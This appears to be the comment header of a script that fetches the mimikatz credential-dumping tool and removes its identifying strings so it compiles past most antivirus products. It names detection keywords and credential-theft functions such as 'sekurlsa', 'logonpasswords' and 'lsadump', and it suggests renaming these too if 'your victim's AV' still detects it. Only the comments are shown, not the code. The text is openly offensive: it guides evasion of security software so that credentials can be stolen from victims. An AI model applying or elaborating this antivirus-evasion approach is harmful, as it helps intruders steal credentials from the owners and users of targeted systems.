# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ..., 
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.
